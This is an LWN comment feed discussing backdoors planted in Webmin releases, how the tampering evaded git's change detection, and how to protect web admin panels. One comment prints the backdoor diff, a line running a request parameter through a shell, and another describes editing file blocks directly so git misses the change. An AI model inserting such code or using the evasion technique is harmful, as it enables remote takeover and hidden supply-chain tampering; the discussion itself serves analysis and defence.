LWN: Comments on "Backdoors in Webmin" https://lwn.net/Articles/796951/ This is a special feed containing comments posted to the individual LWN article titled "Backdoors in Webmin". en-us Sat, 18 Oct 2025 16:37:33 +0000 Sat, 18 Oct 2025 16:37:33 +0000 https://www.rssboard.org/rss-specification lwn@lwn.net Backdoors in Webmin https://lwn.net/Articles/797348/ https://lwn.net/Articles/797348/ wodny <div class="FormattedComment"> True. I was referring to the part of the report about the timestamp being set back.<br> </div> Tue, 27 Aug 2019 07:49:54 +0000 Backdoors in Webmin https://lwn.net/Articles/797326/ https://lwn.net/Articles/797326/ jwilk You don't even need to play with timestamps. You can ask git to pretend not to see the changes: <pre> git update-index --assume-unchanged password_change.cgi </pre> Mon, 26 Aug 2019 20:52:27 +0000 Backdoors in Webmin https://lwn.net/Articles/797316/ https://lwn.net/Articles/797316/ k8to <div class="FormattedComment"> I'm not sure that it's meaningful to prevent tampering with timestamps in environments where you want to permit tampering with files.<br> <p> If you have those slices of security concerns, I would think an audit log that's streamed off the system would be a better choice.<br> </div> Mon, 26 Aug 2019 19:22:46 +0000 Backdoors in Webmin https://lwn.net/Articles/797290/ https://lwn.net/Articles/797290/ mathstuf <div class="FormattedComment"> It wasn't a commit though. The index was told "the working tree is fine" which caches the on-disk mtimes to elide content checking when running `git status` or `git diff` for the working tree.<br> <p> We do this in our internal robot's git check logic in order to "check out" a repository into a working tree while not touching the disk. This allows us to only drop the files onto the disk that need to be there. This includes files being reformatted, conflict resolution files, etc. Very useful, but not something I would actually use for development or CI builds (the things are very ephemeral).<br> </div> Mon, 26 Aug 2019 14:18:40 +0000 Backdoors in Webmin https://lwn.net/Articles/797199/ https://lwn.net/Articles/797199/ meyert <div class="FormattedComment"> But the relevant commit should diff to the parent, shouldn't it? git log --patch should show all changes independent of any time stamps, shouldn't it?!<br> </div> Sun, 25 Aug 2019 18:04:44 +0000 Backdoors in Webmin https://lwn.net/Articles/797182/ https://lwn.net/Articles/797182/ quotemstr <div class="FormattedComment"> A combination of file content checks upon first touching a repository with something like watchman [1] for noticing changes during development would give you the best of both worlds without having to rely on mtime.<br> <p> [1] <a href="https://facebook.github.io/watchman/docs/install.html">https://facebook.github.io/watchman/docs/install.html</a><br> </div> Sat, 24 Aug 2019 22:29:15 +0000 Backdoors in Webmin https://lwn.net/Articles/797055/ https://lwn.net/Articles/797055/ basmevissen <div class="FormattedComment"> I'm not arguing against web panels itself. I only say that one should add another level of protection before being presented the usual username/password and recover password prompt of the web panel. I actually use webmin (and ispconfig), but both have extra protection in the form of http server login or SPA (opening the port at the firewall) to make sure I'm not vulnerable to issues like the subject of the article.<br> </div> Fri, 23 Aug 2019 14:26:08 +0000 Backdoors in Webmin https://lwn.net/Articles/797050/ https://lwn.net/Articles/797050/ wazoox <div class="FormattedComment"> That's all fine and dandy, but you don't seem to know any actual user or customer. They *demand* graphic UI, and they more and more *demand* Web UI. Furthermore, Webmin still remains, albeit its awful shortcomings, albeit Cockpit and other attempts at administrative UIs, the only quasi-complete interface. You can mange all and every aspect of your systems with it (Network, Samba, iSCSI, NFS, Apache, NGinx, VSFTPd, ProFTPd, etc).<br> </div> Fri, 23 Aug 2019 13:54:40 +0000 Backdoors in Webmin https://lwn.net/Articles/797026/ https://lwn.net/Articles/797026/ Grimthorpe <div class="FormattedComment"> Is there a reason for a build machine to have a cached copy of the git repository?<br> <p> I now always make releases from a newly checked out repository to ensure that what I release is exactly what's in source control, having been burnt too many times by finding changes that haven't been committed back.<br> <p> </div> Fri, 23 Aug 2019 09:40:46 +0000 Backdoors in Webmin https://lwn.net/Articles/797022/ https://lwn.net/Articles/797022/ basmevissen <div class="FormattedComment"> More importantly, never relying only on a web admin interface, even if that interface offers 2FA. There have been too many vulnerabilities in the past.<br> </div> Fri, 23 Aug 2019 09:23:53 +0000 Backdoors in Webmin https://lwn.net/Articles/797006/ https://lwn.net/Articles/797006/ ILMostro <div class="FormattedComment"> Interesting,<br> <p> I wonder if something like "--no-assume-unchanged" would be a workaround for that; unless that's only applicable for the "assume-unchanged" option.<br> <p> That seems to be related, according to `git-update-index(1)`.<br> <p> </div> Fri, 23 Aug 2019 00:51:19 +0000 Backdoors in Webmin https://lwn.net/Articles/796998/ https://lwn.net/Articles/796998/ nybble41 <div class="FormattedComment"> Checking ctime and mtime together is already a fairly reliable way to detect modification. Users can set mtime and atime but that causes ctime to be set to the current system time.<br> </div> Thu, 22 Aug 2019 20:51:22 +0000 Backdoors in Webmin https://lwn.net/Articles/796997/ https://lwn.net/Articles/796997/ Karellen <div class="FormattedComment"> It would break POSIX guarantees in a number of ways, which are probably relied upon by a number of programs, in ways that maybe even the program authors might not realise on first glance.<br> <p> Look back at the discussions that happened around the introduction of noatime/relatime regarding the use of the "atime" timestamp, which I would guess is used a couple of orders of magnitude less frequently than "mtime", and which ended up causing a non-trivial amount of pain for mutt users.<br> </div> Thu, 22 Aug 2019 20:40:23 +0000 Backdoors in Webmin https://lwn.net/Articles/796996/ https://lwn.net/Articles/796996/ wodny <div class="FormattedComment"> <font class="QuotedText">&gt; So the timestamp _and_ file size must have been the same to avoid detection?</font><br> <p> See <a href="https://github.com/git/git/blob/e13966d5a1695ba7feedb0badf861a12cc58bc58/read-cache.c#L151">https://github.com/git/git/blob/e13966d5a1695ba7feedb0bad...</a>.<br> </div> Thu, 22 Aug 2019 20:31:15 +0000 Backdoors in Webmin https://lwn.net/Articles/796995/ https://lwn.net/Articles/796995/ wodny <div class="FormattedComment"> And BTW, there could also be core.trustctime = false set so all the fun with editing the block device wouldn't be needed.<br> </div> Thu, 22 Aug 2019 20:25:37 +0000 Backdoors in Webmin https://lwn.net/Articles/796989/ https://lwn.net/Articles/796989/ pbonzini <div class="FormattedComment"> No, he's saying that if this vulnerability is exploitable, the user was not really doing it right anyway. Not unlike the myriad of printers or cameras that you can find on Google, a web admin interface should never be protected only with a password from public access.<br> </div> Thu, 22 Aug 2019 19:01:01 +0000 Backdoors in Webmin https://lwn.net/Articles/796984/ https://lwn.net/Articles/796984/ epa <div class="FormattedComment"> Could filesystems support some kind of 'secure mode' where it's impossible to set the timestamp on a file except by setting it to the current time? And only root can change the time on the system. So that would make it more difficult to tamper with files if you're not root. And in my experience, needing to set the timestamp is a rare operation (it would be no hardship if unpacking a zipfile made all the files with the current time).<br> </div> Thu, 22 Aug 2019 18:16:21 +0000 Backdoors in Webmin https://lwn.net/Articles/796983/ https://lwn.net/Articles/796983/ wodny <div class="FormattedComment"> How is this relevant? Do you state that the Webmin build server was exploited using the Webmin itself?<br> </div> Thu, 22 Aug 2019 18:12:51 +0000 Backdoors in Webmin https://lwn.net/Articles/796977/ https://lwn.net/Articles/796977/ mgedmin <div class="FormattedComment"> Here's the diff:<br> <p> $ diff -u webmin-1.{881,890}/password_change.cgi<br> --- webmin-1.881/password_change.cgi 2018-03-16 05:06:29.000000000 +0200<br> +++ webmin-1.890/password_change.cgi 2018-07-15 22:02:34.000000000 +0300<br> @@ -2,14 +2,14 @@<br> # password_change.cgi<br> # Actually update a user's password by directly modifying /etc/shadow<br> <br> -BEGIN { push(@INC, ".."); };<br> +BEGIN { push(@INC, "."); };<br> use WebminCore;<br> <br> $ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl";<br> &amp;init_config();<br> &amp;ReadParse();<br> &amp;get_miniserv_config(\%miniserv);<br> -$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";<br> +$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;<br> <br> # Validate inputs<br> $in{'new1'} ne '' || &amp;pass_error($text{'password_enew1'});<br> <p> <p> File size changes by one byte:<br> <p> $ ls -l webmin-1.{881,890}/password_change.cgi<br> -rwxr-xr-x 1 mg mg 7218 kov. 16 2018 webmin-1.881/password_change.cgi<br> -rwxr-xr-x 1 mg mg 7217 liep. 15 2018 webmin-1.890/password_change.cgi<br> <p> but maybe there were some changes committed to git that were not present in the 1.881 tarball (that ".." vs "." thing at the top)?<br> </div> Thu, 22 Aug 2019 15:57:08 +0000 Backdoors in Webmin https://lwn.net/Articles/796976/ https://lwn.net/Articles/796976/ basmevissen <div class="FormattedComment"> That's why an internet facing control panel should imho always have another level of protection. For example by using authentication/authorization at http server level or using SPA port knocking before opening the port at the firewall level.<br> </div> Thu, 22 Aug 2019 15:52:49 +0000 Backdoors in Webmin https://lwn.net/Articles/796975/ https://lwn.net/Articles/796975/ mgedmin <div class="FormattedComment"> So the timestamp _and_ file size must have been the same to avoid detection?<br> <p> Now I'm curious about what the malicious change looked like.<br> </div> Thu, 22 Aug 2019 15:47:04 +0000 Backdoors in Webmin https://lwn.net/Articles/796973/ https://lwn.net/Articles/796973/ wodny <div class="FormattedComment"> I think that it's the only way to do it efficiently (using it as a primary filter). A thread on SO[1] gives a command to check metadata known by git: `git ls-files --debug`. It includes the change date that is not manageable by a user (eg. by touch). I've done a test modifying file contents using:<br> - hdparm --fibmap file<br> - hexedit file<br> - sync; echo 3 &gt; /proc/sys/vm/drop_caches<br> <p> It fooled git. `cat` shows new content, `git diff` shows nothing.<br> <p> [1]: <a href="https://stackoverflow.com/questions/4075528/what-algorithm-does-git-use-to-detect-changes-on-your-working-tree">https://stackoverflow.com/questions/4075528/what-algorith...</a><br> </div> Thu, 22 Aug 2019 15:01:00 +0000 Backdoors in Webmin https://lwn.net/Articles/796971/ https://lwn.net/Articles/796971/ songmaster <div class="FormattedComment"> Git uses time stamps to detect changed files? Something doesn’t sound right there to me...<br> </div> Thu, 22 Aug 2019 14:29:20 +0000 Backdoors in Webmin https://lwn.net/Articles/796970/ https://lwn.net/Articles/796970/ jspenguin <div class="FormattedComment"> I don't know if I'd trust this tool at all if the authors can't even bother to support HTTPS on their own site.<br> </div> Thu, 22 Aug 2019 14:14:04 +0000